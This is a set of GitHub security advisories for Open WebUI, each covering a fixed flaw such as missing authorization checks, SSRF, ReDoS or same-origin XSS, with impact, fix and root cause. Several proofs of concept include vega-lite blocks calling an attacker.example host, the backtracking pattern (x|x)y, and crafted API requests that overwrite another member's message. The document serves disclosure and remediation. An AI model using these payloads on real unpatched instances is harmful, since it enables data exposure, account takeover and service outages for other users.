Both handlers branch on channel type, and the two branches asked different questions. The group and direct message branch asked whether the caller wrote the message. The standard branch asked whether the caller is allowed to write in the channel, which is a permission level, not an identity. Those are not interchangeable: posting a message runs that same write check, so the grant that lets a member participate was silently accepted as the grant to rewrite and remove everyone else's content, and every ordinary participant satisfied it. The model layer looks messages up by primary key alone, so the router branch was the only authorization that ran.

Proof of concept Reported with a script that runs end to end against a live instance. An administrator seeds the accounts and a standard channel granting read and write; everything after that is performed by a separate plain user account in no group that owns neither the channel nor any of the messages. That account edits a victim's message, attaches structured payloads to it, and deletes a second victim message, all returning 200, with the channel history dumped before and after. Controls in the same run confirm the scoping: a read-only member is refused with 403, and a cross-member edit on a group channel is refused with 403.

Credits @Foxer131 — reported the missing authorship check on the standard-channel update and delete handlers.

1 / 2
Source: GitHub
First published (updated )
Severity
4.1
SSRF
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N

Summary Open WebUI renders vega and vega-lite fenced code blocks in chat content by building a Vega view in the viewer's browser without a restricted resource loader. Any user who can place such a block where another user will see it can make that user's browser issue attacker-chosen outbound GET requests, and read back responses from same-origin or CORS-permissive targets into the rendered page. Because the request comes from the browser, server-side SSRF protections never see it.

Preconditions Default configuration, no flags or environment variables involved: Vega blocks render unconditionally wherever chat content is displayed. The attacker needs an account that can put content in front of the victim, which covers a shared chat, a channel message, and model, RAG or tool output the attacker can influence. The victim must open the message, so this is not zero-click. Deployments where the victim's browser has no network position of interest lose little.

Impact The victim's browser becomes a request proxy into whatever it can reach: internal hosts and ports behind the perimeter, same-site endpoints, and out-of-band beacons that confirm a chart was viewed and by whom. Where the target is same-origin or returns permissive CORS headers, the response body is pulled back into the chart in the victim's page, which turns the request into a read. Requests are GET only, and no server-side data is exposed to the attacker directly.

Fix Fixed in 5278eb906 (#26806), released in 0.11.0. The view is now constructed with a loader whose load always throws and whose sanitize resolves the URI with the browser's own URL parser and permits only data: and same-origin results, so charts can only use inline data.values. Upgrading is sufficient; no configuration change is needed.

Root cause - src/lib/utils/index.ts — renderVegaVisualization - src/lib/components/chat/Messages/CodeBlock.svelte — renders vega/vega-lite blocks

The renderer treated a chart spec as trusted authored content rather than as untrusted chat text, so it accepted Vega's default loader. That loader has two separate ways out of the page: data.url and topojson/geo sources are fetched at view construction, and image marks pass their url through sanitize and are written into the output SVG as <image href>, which the browser fetches when the chart is displayed. The second path survives downstream SVG sanitization because the URL is a legitimate attribute value, not markup.

Proof of concept Post either block into a chat, channel message, or shared chat that the victim will open. Neither requires the victim to interact beyond viewing.

vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"url":"http://attacker.example/probe?a=1"},"mark":"point"}

vega-lite {"$schema":"https://vega.github.io/schema/vega-lite/v5.json","data":{"values":[{"x":1}]},"mark":{"type":"image","url":"http://attacker.example/beacon.png"},"encoding":{"x":{"field":"x"}}}

The first fires at view construction; the second fires when the rendered SVG is displayed. Both are visible as outbound requests in the victim's network log and in the attacker's listener. After the fix neither request is made and inline data.values charts still render.

Credits - @Zureno — reported the issue and the data.url path. - @Classic298 — identified the image-mark sink and authored the fix.

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary With the Playwright web loader enabled, Open WebUI opens user-submitted URLs in a real browser and validates the destination address before allowing the request. That check only ran for the top-level page request. Every other request the page issued was passed through unvalidated, so a page could use its own JavaScript to reach addresses the validation exists to block. Because the loader returns the page's final DOM to the requesting user, anything the page read back from those addresses ends up in the web-search or RAG output.

Preconditions - WEBLOADERENGINE=playwright. This is not the default; deployments on the default web loader are unaffected. - A reachable Playwright browser, either local or via PLAYWRIGHTWSURL. - Any authenticated user who can submit a URL for ingestion or trigger a web search. No administrator role is required. - Something worth reading on a network the browser can reach. A deployment whose browser container has no route to internal services loses nothing here.

Impact An authenticated user can read HTTP responses from services reachable by the browser process: cloud instance metadata, other containers on the same network, and internal APIs bound to private addresses. The content is returned to the user through the normal web-search or document-ingestion result, so this is a read primitive, not a blind one. It confers no write access and no availability impact, and it does not extend beyond what the browser's network position already allows.

Fix Fixed in 0.11.0 by commit bef63a2ae. Every intercepted request is now validated, fetched with redirects disabled, re-validated on each redirect hop and then fulfilled, so neither a sub-resource nor a redirect can land on a non-global address. The same change blocks the two paths that never reached the interceptor at all: service-worker requests, via serviceworkers="block", and WebSocket connections, via a route handler that never connects upstream. Upgrading to 0.11.0 fully resolves the issue; no configuration change is required.

Root cause Affected component: SafePlaywrightURLLoader in backend/openwebui/retrieval/web/utils.py, in both the sync and async request interceptors. Affected setup: only builds running the Playwright loader engine.

The interceptor was written to guard navigation, and its first action was to return early for any request whose resource type was not document. The intent was that only the page the user asked for needs address validation, but a browser page is not a single request: once the validated document loads, its scripts issue further requests under the page's own control, and those never reached the validation. The address check was therefore applied to the one request the attacker did not need to control, and skipped on every request they did.

Proof of concept Reported against 0.10.2 by driving the interceptor directly with stand-in route and request objects, one call per resource type, against http://169.254.169.254/latest/meta-data/. The document type is aborted; every other type is continued unvalidated. The browser and the network request were seeded rather than driven end to end; the code path exercised is the one the browser reaches for each sub-resource.

Credits - @edwardav970 — identified that address validation was applied only to the top-level document request, leaving every sub-resource type unvalidated.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary The built-in knowledge search tools let a chat participant choose the pattern used to grep knowledge files. Patterns containing regex metacharacters were compiled with Python's backtracking re engine and run against every line of every reachable file, with no time limit anywhere on that path. A single crafted pattern and a single short line of matching text pin one CPU core for as long as the attacker wants, and because the search runs synchronously inside the event loop, that worker serves nobody else while it spins.

Preconditions - Default configuration. The knowledge builtin tool group is enabled by default, and with ENABLEKBEXEC at its default of False the model is handed grepknowledgefiles, which is the affected path. - Any authenticated user, no elevated role and no workspace permission. - One file the attacker can read. USERPERMISSIONSCHATFILEUPLOAD defaults to true and a user always has read access to their own upload, so both halves of the input are attacker-supplied. - A model willing to call the tool with the attacker's literal pattern. This is the one non-deterministic step: it is reliable in practice by instructing the model in your own chat, but it is not guaranteed on a given turn. - Deployments running with UVICORNWORKERS at its default of 1 lose the whole instance; multi-worker deployments lose one worker per request.

Impact Availability, against every other user of the affected worker. Cost scales exponentially with the length of the matching text: measured on the vulnerable code, a 24 character subject takes 1.2s, 28 takes 19s and 30 takes 74s, and a 40 character subject extrapolates to roughly a day of CPU. The same subject against a literal pattern takes under a microsecond. There is no confidentiality or integrity effect, and no data is read or altered.

Fix Fixed in 0.11.0 by https://github.com/open-webui/open-webui/pull/27471. Pattern matching moved from re to the regex engine, which supports a per-search timeout, and every tool call now runs its searches under a single 2 second matching budget, after which the tool returns an error instead of continuing to match. Upgrading is sufficient; there is nothing an operator has to configure.

Root cause - backend/openwebui/tools/knowledgefs.py, buildmatcher: compiled the caller's pattern and returned an unbounded match function. - backend/openwebui/tools/builtin.py, grepknowledgefiles: the default-configuration caller, which ran that matcher over every line of every reachable file.

buildmatcher treated any pattern containing regex metacharacters as a regex, so no explicit flag was needed to reach the compiler. From there the only limits in place were on results, not on work: a cap on matches returned and a cap on files scanned, neither of which bounds the time a single line can consume. Backtracking cost is exponential in the length of the matched text rather than in the pattern, so capping pattern length or line length would not have bounded it either. The engine had no timeout available and none was imposed elsewhere.

Proof of concept Against a real instance as an ordinary user:

1. Upload a text file whose content is a single line of 30 x characters, and no y. 2. In a chat on a model with the knowledge tools available, instruct the model to call grepknowledgefiles with the pattern (x|x)y and that file's id. 3. The request never returns. The worker's CPU sits at 100% for the duration, and concurrent requests from other users on the same worker do not complete.

Growth measured directly against buildmatcher on the vulnerable code:

| subject length | time | | -------------- | ----- | | 16 | 4.7ms | | 20 | 73ms | | 24 | 1.21s | | 28 | 19.3s | | 30 | 73.9s |

Credits @Classic298, for the finding and the fix.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Summary A user granted write access to a shared chat folder could permanently delete chats and messages belonging to the folder's owner. Deleting a folder cascades into the owner's chats and the entire subfolder subtree, and the deletion handler required only write access on subfolders instead of ownership. Root folders were restricted to the owner or an admin, subfolders were not.

Preconditions The Folders Sharing permission (user.permissions.sharing.folders) must be enabled; it is off by default. The victim must have shared a folder with the attacker at write access. features.folders and the chat.delete permission are enabled by default and are both required. Deployments that leave folder sharing disabled are not affected, and neither are single-user instances.

Impact Permanent, irreversible destruction of another user's chat history within and beneath a shared folder. With deletecontents=false the same request instead force-moved the owner's chats out of the folder, an unauthorized relocation rather than a deletion. The write grant on the shared root folder is inherited by every descendant, so the attacker could destroy subfolders that were never explicitly shared with them. Nothing outside the shared folder's subtree is reachable, and no data is disclosed that write access did not already expose.

Fix Fixed in 0.11.0 by https://github.com/open-webui/open-webui/pull/27003. Folder deletion is now restricted to the folder owner or an admin for root folders and subfolders alike, replacing the previous root/subfolder split with a single check. Upgrading fully resolves the issue; no configuration change is required. Owners and admins are unaffected, and a write-collaborator can still create, rename and add to shared folders and delete subfolders they own.

Root cause Affected component: backend/openwebui/routers/folders.py, the DELETE /api/v1/folders/{id} handler. Affected setup: any release from 0.10.0 onward that has folder sharing enabled.

The cascade that follows the authorization check is bound to the folder owner's id, not the caller's, so whoever passes the check deletes the owner's data. The check itself branched on whether the folder had a parent: root folders demanded ownership or admin, while subfolders accepted any write grant. Because write grants propagate down the folder tree, that branch handed every collaborator deletion rights over the owner's subtree, which is broader than what the sharing model grants write access.

Credits @legobattman, who reported the issue and its remediation.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this endpoint.

Preconditions - ENABLEOAUTHTOKENEXCHANGE=True. It is disabled by default, so a default deployment is not affected. - OAUTHALLOWEDDOMAINS set to something other than . Deployments without a domain allowlist are not affected. - A valid, unexpired access token on the configured provider. - An Open WebUI account already linked to that provider subject, or an account with a matching email when OAUTHMERGEACCOUNTSBYEMAIL is enabled. This endpoint never creates accounts, so a token for a subject with no existing account is rejected.

Impact An admin who narrows the domain allowlist expects users outside it to lose access at their next sign-in. The login callback does deny them. Token exchange kept issuing sessions, so a user whose domain was removed retained working access as their existing account at its existing role. The endpoint cannot create an account and cannot raise anyone's role, so this grants continued access rather than new or elevated access.

Fix fb5ef978b, released in 0.9.0, adds the same domain allowlist check to the token exchange endpoint that the login callback runs, and denies the exchange with 403 when the email domain is not allowed. Upgrading restores the check with no further action.

Root cause The affected component is the OAuth token exchange endpoint in backend/openwebui/routers/auths.py, present in builds from 0.8.0 onward.

The endpoint was added as a second entry point into the same session-issuing path the OAuth login callback uses, but it re-implemented only the identity lookup and not the policy checks surrounding it. The domain allowlist check lived inside the callback's own body rather than in shared code, so the second caller inherited none of it.

Credits @Classic298

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without running the OAuth role management that the normal OAuth login callback runs. A user whose provider roles the login callback would refuse, or would demote, could still obtain a working session at their existing role through this endpoint.

Preconditions - ENABLEOAUTHTOKENEXCHANGE=True. It is disabled by default, so a default deployment is not affected. - ENABLEOAUTHROLEMANAGEMENT=True together with OAUTHALLOWEDROLES or OAUTHADMINROLES. Role management is off by default, and deployments not using it are not affected. - A valid, unexpired access token on the configured provider. - An Open WebUI account already linked to that provider subject, or an account with a matching email when OAUTHMERGEACCOUNTSBYEMAIL is enabled. This endpoint never creates accounts, so a token for a subject with no existing account is rejected.

Impact An admin who relies on OAuth role management expects a user to lose access, or lose admin, as soon as the identity provider stops reporting the required role. The login callback does enforce this on the next sign-in. Token exchange kept issuing sessions and never re-evaluated the role, so the user retained working access as their existing account at its existing role, including an admin role the provider had already revoked. The endpoint cannot create an account and cannot raise anyone's role, so this grants continued access rather than new or elevated access.

Fix d799e81ed, released in 0.11.1, runs the same role evaluation on the provider's response that the login callback runs. The exchange is denied with 403 when the reported roles match no allowed or admin role, and the account's role is updated to match the provider otherwise. Upgrading restores the check with no further action.

Root cause The affected component is the OAuth token exchange endpoint in backend/openwebui/routers/auths.py, present in builds from 0.8.0 onward.

The endpoint was added as a second entry point into the same session-issuing path the OAuth login callback uses, but it re-implemented only the identity lookup and not the policy checks surrounding it. Role evaluation lived inside the callback's own body rather than in shared code, so the second caller inherited none of it.

Credits @Classic298

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Summary The built-in knowledge search tool returns knowledge bases the calling user has no access to. The tool works out which knowledge bases the caller may read and hands that set to the vector store as a search filter, and that filter is the only access control on the path. Most of the shipped vector backends accept the filter argument on their search method and never apply it, so the search returns matches from every knowledge base in the shared collection. The sibling query method on those same backends does apply a filter, which is why the omission is invisible from the calling code.

Preconditions - The deployment must use one of the affected vector backends, selected with VECTORDB, which defaults to chroma. Chroma applies the filter, so a default deployment is not affected. - Eleven of the fifteen shipped backends ignore the filter: both Qdrant clients, Elasticsearch, OpenSearch, both Milvus clients, openGauss, Oracle 23ai, Pinecone, S3 Vectors and Weaviate. Chroma, pgvector, MariaDB and Valkey apply it and were never affected. - The caller needs a model that can call tools, with the knowledge built-in tools left enabled, which is the default, and with no knowledge attached to the model itself. No elevated role or permission is required. - At least one knowledge base must exist that the caller cannot otherwise read.

Impact A user receives the identifier, name and description of knowledge bases that were never shared with them, and chooses how many results to ask for, so the set can be enumerated by varying the query. The affected collection stores one entry per knowledge base whose text is its name and description, so where those values are themselves sensitive, for example when they name a customer, a project or an investigation, that disclosure is the loss.

The exposure is confined to that metadata. Document text lives in separate per-knowledge-base collections reached by a different call that is scoped by collection rather than by this filter, so stored documents are not returned by this path, and no write access is gained. Because the default backend is unaffected, the population at risk is operators who deliberately moved to an external vector store, which in practice means larger deployments.

Fix Fixed in 0.11.1 by 1d6d4e6e6. Every affected backend now applies the caller-supplied filter in its search method, combined with the collection or tenant scoping that method already performed. Where a backend's filter builder could express only single-value equality it was extended to express set membership, since that is the form the knowledge tool sends, and a filter using any other operator is now rejected rather than dropped. Upgrading is sufficient and no configuration change is required. Deployments on Chroma, pgvector, MariaDB or Valkey were never affected and need no action.

Root cause - The search method of each affected vector client, which declares a filter parameter and never references it. - The built-in knowledge search tool, which relies on that filter as its only access check. - Present from 0.7.0, the release that introduced the tool, through 0.11.0.

Each client exposes a search method and a query method that appear interchangeable from the calling side and differ in whether the caller's filter survives. Search built its request with collection or tenant scoping only, so it was correctly scoped to the collection and entirely unscoped within it. The knowledge tool resolves the caller's readable knowledge bases correctly and passes them down, then reads the results without rechecking them, on the reasonable assumption that a filter handed to a vector store is applied. Because the access decision was delegated wholly to a parameter that most implementations discarded, the caller had no way to observe that it received more than it asked for.

That the same omission repeated across most backends points at the shared interface rather than at any one client: the base class defines the parameter without obliging an implementation to honour it, and each backend was written against the interface independently.

Proof of concept Run against the shipped client classes taken from the 0.11.0 and 0.11.3 release tags, with a real Qdrant engine behind them. Two entries were inserted into the shared knowledge base collection, one readable and one not, mirroring the payload the application writes. The entries were inserted directly rather than created through the application.

On 0.11.0, search given a filter naming only the readable knowledge base returned both, and the same call with no filter returned an identical result set, confirming the filter had no effect:

search(filter={'knowledgebaseid': {'$in': ['kb-allowed']}}) -> ['kb-allowed', 'kb-secret'] search(filter=None) -> ['kb-allowed', 'kb-secret']

On 0.11.3 the same filter returned only the readable entry, while the unfiltered control still returned both, confirming the collection held both and the filter is what excluded the second:

search(filter={'knowledgebaseid': {'$in': ['kb-allowed']}}) -> ['kb-allowed'] search(filter=None) -> ['kb-allowed', 'kb-secret']

The Chroma client, run the same way on both tags, returned only the readable entry in every case, which is the default backend being unaffected. The S3 Vectors client was additionally run against a stub that answers every query with the whole index regardless of the filter it is sent: on 0.11.0 it returned both entries, and on 0.11.3 it returned only the readable one.

The remaining backends were checked by driving each patched filter builder with the exact filter the knowledge tool sends and confirming the request it produces restricts to the readable knowledge base.

Credits Reported by @Classic298.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary Any member of a channel who can post to it could also replace the text of a message written by a different member. The channel branch of the chat completions endpoint checked that the caller may write to the channel, and that the targeted message belongs to that channel, but never checked that the caller actually wrote the message being edited. The message kept its original author, so the replacement text was displayed and stored as though the victim had written it. The dedicated channel message edit route performed the authorship check correctly and refused the same edit, so the two paths disagreed about who may modify a message.

Preconditions - Channels must be enabled. ENABLECHANNELS defaults to False, so a default deployment is not affected until an administrator turns channels on. - The attacker must be an approved user holding write access to the target channel, which is the ordinary state for any participant. No elevated role, group membership or additional permission is needed, and the attacker does not need to be the channel owner. - The attacker must know the id of the targeted message. That id is returned to every member who reads the channel, so it requires no further access. - Channels the attacker cannot post to are not affected, and neither are deployments with channels disabled.

Impact An attacker can rewrite what another member said, under that member's name, in a shared channel. The stored record and every later reader show the victim as the author of text they never wrote, so this is a loss of both integrity and non-repudiation: the victim cannot point to the record to show what they actually said. A conversation can be silently altered after the fact rather than only appended to.

How much control the attacker has over the replacement text depends on the configured model, because the text is produced by generating a completion into the victim's message. Reducing a message to unrelated or empty content works regardless of the model, while reproducing an exact attacker-chosen string requires a model that returns the supplied prompt closely enough. The attack grants no new role or permission, does not reach channels the attacker cannot already post to, and exposes no message content they could not already read.

Fix Fixed in 0.11.1 by commit 7d392bedc (#28631). The gate on the channel branch now also compares the targeted message's author against the calling user and refuses when they differ, which is the condition the dedicated channel message update route already applied. Administrators retain the ability to edit any message, on both paths, as before. Upgrading to 0.11.1 fully resolves this, and no configuration change is required.

Root cause Affected components: - the channel branch of the chat completions handler, which resolves a client-supplied message id for editing - the channel event emitter, which re-checks the message before persisting the update

Not affected: the dedicated channel message update route, which already held the correct check.

The channel branch was written to answer the question of whether the caller may write into this channel and whether the message belongs to it. Both of those checks were present and effective. The question it never asked was whether the caller wrote the message. Ownership of a channel message is carried by the message record rather than by the channel, so channel-level write access was treated as sufficient authority over every message inside it. The dedicated edit route grew the authorship comparison because editing is its only purpose, while the completions path reached the same operation through a general-purpose entry point and inherited only the coarser channel check.

Proof of concept Reproduced against a running instance built from the development branch, with channels enabled and an OpenAI-compatible upstream that echoes the submitted prompt so the replacement text is deterministic.

Setup, entirely through the ordinary API: an administrator creates two further accounts, Alice and Mallory, both with the plain user role and no additional permissions, creates a channel, and grants both accounts read and write access. Alice posts a message reading ALICE ORIGINAL MESSAGE. Nothing is written directly to the database.

Control, through the dedicated route:

POST /api/v1/channels/<channelid>/messages/<alicemessageid>/update Authorization: Bearer <mallorytoken> {"content": "PWNEDBYMALLORY"} -> 403

Attack, submitting the same target id to the completions endpoint:

POST /api/chat/completions Authorization: Bearer <mallorytoken> {"model": "<model>", "stream": true, "chatid": "channel:<channelid>", "id": "<alicemessageid>", "messages": [{"role": "user", "content": "PWNEDBYMALLORY"}]} -> 200

Reading the channel back afterwards shows the targeted message content replaced with the attacker's string while its recorded author is still Alice.

Credits - @Classic298 — identified that the completions path and the dedicated edit route disagreed on message authorship, and reproduced the cross-member overwrite end to end.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Summary Any authenticated user with access to a shared terminal server could get script of their choosing to run in the Open WebUI origin itself. The in-app port preview rendered the content of a previewed port in an iframe whose sandbox always granted allow-same-origin alongside allow-scripts, and that content is served from a path on the application's own origin, so the sandbox provided no isolation at all. Script served on a previewed port could read the victim's session token and take over the account.

Preconditions - At least one terminal server configured by an admin (TERMINALSERVERCONNECTIONS, empty by default) and reachable by both the attacker and the victim. Deployments with no terminal server configured are not affected. - The attacker needs a normal authenticated account with access to that terminal connection, no admin rights, plus the ability to start a process listening on a port there. - Personal terminals a user configures for themselves are not affected. Those carry an external URL, so the previewed document is cross-origin and the sandbox held. - The victim has to open the port list and click the attacker's port. - TERMINALPROXYHEADERS unset and no CONTENTSECURITYPOLICY set, which are the defaults. An operator who had already set a restrictive Content-Security-Policy through either was not exposed, since those headers apply to the proxied response. - The iframeSandboxAllowSameOrigin user setting is off by default, but the affected branch ignored it entirely.

Impact The previewed page runs in the application origin, so it can reach the parent window, read the session token out of localStorage and exfiltrate it, which is full account takeover of the victim. If the victim is an admin, or any user holding workspace.functions, that takeover extends to server-side code execution through Functions. Serving the page costs the attacker nothing beyond the terminal access they already hold, so the only real barrier is getting the victim to open that port. Instances with no terminal server configured were never affected, and neither were personal terminals pointed at an external URL.

Fix Fixed in 0.11.1 by 54d7a2237. The port preview now gates allow-same-origin behind a terminalPreviewAllowSameOrigin user setting that is off by default, so the preview loads at an opaque origin and cannot reach the parent context. Upgrading is sufficient and no configuration change is required. Previews of pages that need same-origin access still work if a user turns that setting on, and doing so re-enables the behaviour described here for that user.

Root cause - src/lib/components/chat/FileNav/PortPreview.svelte, the preview iframe, reached by clicking a port in the file navigator's port list. - Present from 0.8.11, the first release containing the component, through 0.11.0.

Every other iframe in the application had already been moved to an opt-in same-origin setting. The port preview kept a static sandbox string with allow-same-origin baked into it, and it was missed when the equivalent problem was fixed in the file preview for 0.11.0. Because the terminal proxy is mounted under the application's own origin and forwards the upstream response and its content type without adding a Content-Security-Policy of its own unless the operator configured one, and no global CSP is set, the sandbox was the only isolation boundary left, and it was granting precisely the permission that dissolved it.

Proof of concept On a terminal server the victim can also reach, serve an HTML page containing a script that reads window.parent.localStorage.token and sends it to a host the attacker controls. The victim opens the file navigator, switches to the port list and clicks that port. The preview opens, the script executes at the application origin, and the token is exfiltrated.

Credits Reported by @manus-use (researcher zx / Jace).

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary With the Playwright web loader enabled, Open WebUI checks the address behind a user-submitted URL before allowing the request, then handed the request to the browser to perform. The browser resolved the hostname a second time, on its own, and that answer was never checked. An attacker who controls the authoritative DNS for a hostname they submit can answer the first lookup with a public address and the second with an internal one, so the browser connects to an address the check exists to block. The connection-layer pinning that protects the other fetch paths could not apply here, because the request ran inside the browser rather than through our own HTTP clients.

Preconditions - WEBLOADERENGINE=playwright. This is not the default, and deployments on the default web loader are unaffected. - A reachable Playwright browser, either local or via PLAYWRIGHTWSURL. - Any authenticated user who can submit a URL for ingestion or trigger a web search. No administrator role is required. - Control of the authoritative DNS for a hostname the attacker submits, serving a short TTL and alternating answers. No timing race is needed, because the two lookups are separate queries the attacker answers differently. - Internal services the browser process can actually reach. A deployment whose browser has no route to internal addresses loses nothing here.

Impact An authenticated user can make the server read HTTP responses from addresses only it can reach: cloud instance metadata, loopback-bound admin APIs, and internal services on the same network. The response body is fulfilled back into the page, and the loader returns that page as the document, so the content lands in the web-search or ingestion result the user receives. On a cloud host with IMDSv1 reachable, that is enough to take instance IAM credentials.

Because the intercepted request forwards the original method and headers, a page the attacker controls can also drive requests that need a header or a non-GET method, which covers the header-gated metadata endpoints. This is a read primitive; no modification of Open WebUI data and no availability impact was demonstrated. Deployments on the default web loader are not affected at all.

Fix Fixed in 0.11.1 by commit 27402ff21 (#28634). The interceptor no longer asks the browser to perform the request. It issues the request from the SSRF-safe HTTP client instead, which resolves the hostname once and connects to that same validated address, re-validates every redirect hop, and then fulfils the browser with the response it received. Upgrading to 0.11.1 fully resolves this, and no configuration change is required.

Root cause Affected component: SafePlaywrightURLLoader in backend/openwebui/retrieval/web/utils.py, in both the sync and async request interceptors. Affected setup: only builds running the Playwright loader engine.

The address check and the connection were performed by two different resolvers in two different processes. Validation resolved the hostname in Python and inspected the result, then the request was handed to the browser, which resolved the name again and connected to whatever it got. Playwright's request-fetch API offers no way to pin a connection to an already-validated address, so the fix that had been applied to the other fetch paths, resolving once and connecting to that same address, could not reach this one. The check was therefore an opinion about an earlier lookup rather than a constraint on the connection that followed.

Proof of concept Reproduced against the real implementation: the validation and interception code was taken unmodified, with only the module-level configuration constants stubbed at their documented defaults, and driven against a real Chromium instance inside an unprivileged network namespace with an authoritative DNS server answering the first lookup public and the second internal. Instance metadata and a loopback service were both reached, with the response body returned through the page. A second run showed an attacker-controlled page driving the header-gated metadata sequence to completion. The path from the HTTP endpoint to the loader was traced in source rather than driven end to end.

Credits - @baeseungwon1010 — identified that the address check and the browser's own resolution are two separate lookups, so the check cannot constrain where the browser connects.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Summary The chat-completions endpoint reads a folder id out of the request body and saves the newly created chat into that folder without checking that the caller is allowed to write there. Any authenticated user who knows a folder's id can put a chat of their own into another user's folder, including a shared folder where they hold read-only access and a folder they have no access to at all. The chat then shows up in that folder for everyone who can read it, under a title and with content the attacker controls. The dedicated chat-creation and chat-move endpoints already enforced this check, the chat-completions path did not.

Preconditions - An authenticated account of any role. No elevated permission, no admin involvement. - Folders enabled, which is the default (ENABLEFOLDERS=true, USERPERMISSIONSFEATURESFOLDERS=true). - The attacker needs the target folder's id. A member of a shared folder gets it from the shared-folder listing. Sharing a folder with named users is available to ordinary users by default; only wildcard public sharing is gated. A folder that was never shared has an id the attacker cannot obtain through any endpoint available to them, so those folders are not practically reachable. - Releases before 0.10.0 contain the same missing check but have no read path that lists a folder's chats across owners, so the injected row was never visible to anyone.

Impact The integrity of folder contents. An attacker who cannot write to a folder can place chats into it, and every member with read access, the owner included, sees the entry with the attacker's display name and a title the attacker can change to arbitrary text at any time. Members can also open the injected chat and read its messages. In a workspace where a shared folder is treated as trusted, that is a usable surface for planting misleading or phishing content under another team's nose.

Nothing is disclosed to the attacker and nothing existing is altered. Writing into a folder grants no read access to it, so the attacker still cannot list or open the folder's other chats, and no data belonging to other users can be modified or deleted through this path. Availability is unaffected.

Fix Fixed in 0.11.1 by https://github.com/open-webui/open-webui/pull/28366. Chat creation, chat moves and the chat-completions creation path now share a single folder write-access check, so a folder id the caller cannot write to is rejected everywhere a chat's folder can be set. Upgrading to 0.11.1 resolves it completely, with no configuration change required.

Root cause Affected component: the chat-completions handler in backend/openwebui/main.py, reached through POST /api/chat/completions and POST /api/v1/chat/completions. Affected setup: every deployment on 0.10.0 through 0.11.0 with folders enabled.

The completions handler gained its own chat-creation branch, which copied the client-supplied folder id into the chat it saved. The ownership and shared-write check lived as duplicated inline code inside the two chat routers rather than in one shared helper, so a third place that learned to set a folder id inherited none of it. Separately, folder listings had been changed to return a folder's chats across all owners so that shared folders work at all, which turned a write that used to be invisible to everyone into one the whole folder can see.

Proof of concept Reproduced on a running instance at 0.11.0 with three accounts: one administrator and two ordinary users, one acting as victim and one as attacker.

1. The victim creates a folder. The attacker is given no access to it: reading the folder returns 404 and listing its chats returns 403. 2. The attacker sends POST /api/v1/chats/new with the victim's folder id. Rejected with 404, which is the pre-existing guard working. 3. The attacker sends POST /api/chat/completions with parentid: null, no chat id, and the victim's folder id in the body. Accepted. 4. The victim lists their own folder and sees a chat owned by "Attacker". The victim can open it and read its messages. The attacker then renames their own chat and the new title appears verbatim in the victim's folder listing.

Repeating step 3 with the attacker granted read-only access to a shared folder also succeeds on 0.11.0. On 0.11.1 both variants are rejected with 404 and the folder stays empty, while a member holding write access can still create chats there as intended.

The three accounts and the folder were created through the normal API. Nothing was written directly to the database.

Credits whyiug, for reporting the missing folder write-access check on the chat-completions creation path.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Summary External knowledge connections are created and owned by administrators, and are shared by every external knowledge base bound to them. Deleting an external knowledge base also removed that connection from the instance configuration, with no check on the caller's role and no check for other knowledge bases still using it. Any authenticated user holding a write grant on a single external knowledge base could therefore wipe a shared connection that other knowledge bases depend on, and the dedicated administrator route for deleting a connection explicitly refuses that same operation while the connection is still in use.

Preconditions The deployment uses external knowledge bases, backed by the qdrant, milvus or pgvector external providers. Instances with only local knowledge bases are not affected.

An administrator created at least one external connection and at least one external knowledge base bound to it. Both of those actions are admin-only.

The attacker is an ordinary authenticated user holding a write grant on one of those external knowledge bases. A read grant is not enough, and an unrelated user cannot reach the route at all.

The damage scales with sharing. It is worst when one connection backs several knowledge bases, because deleting a single knowledge base destroys the connection for all of them.

Impact An ordinary user removes instance-wide configuration that only administrators can create or manage. Every other external knowledge base bound to the deleted connection keeps its stored connection id and stops working: retrieval against it fails with "External knowledge connection not found", so those knowledge bases return nothing in chat until an administrator recreates the connection by hand. The stored credential goes with it, and connection API responses strip credentials, so an administrator who did not keep the key elsewhere cannot restore the connection without obtaining it again.

Nothing is disclosed to the attacker and the external vector store itself is untouched. What is lost is Open WebUI's own connection configuration, and the availability of the knowledge bases that depend on it.

Fix Fixed in 0.11.1 by https://github.com/open-webui/open-webui/pull/28113. Deleting an external knowledge base now clears its connection only when the caller is an administrator and the knowledge base being deleted is the last one referencing that connection, matching the dedicated connection delete route. Upgrading resolves the issue with no configuration change required.

Root cause Affected component: the knowledge base delete handler in backend/openwebui/routers/knowledge.py, reached through DELETE /api/v1/knowledge/{id}/delete.

Affected setup: every release from 0.10.0, where external knowledge connections were introduced, up to and including 0.11.0.

The handler authorized the caller against the knowledge base, which a write grant satisfies, and then performed a second, unrelated operation against global configuration in the same request. That second step carried no authorization of its own. It neither required the administrator role that creating a connection requires, nor counted the other knowledge bases still bound to the connection. The dedicated route DELETE /api/v1/knowledge/external/connections/{id} already performed both checks, so an outcome an administrator was blocked from was reachable by a non-administrator through the knowledge base route.

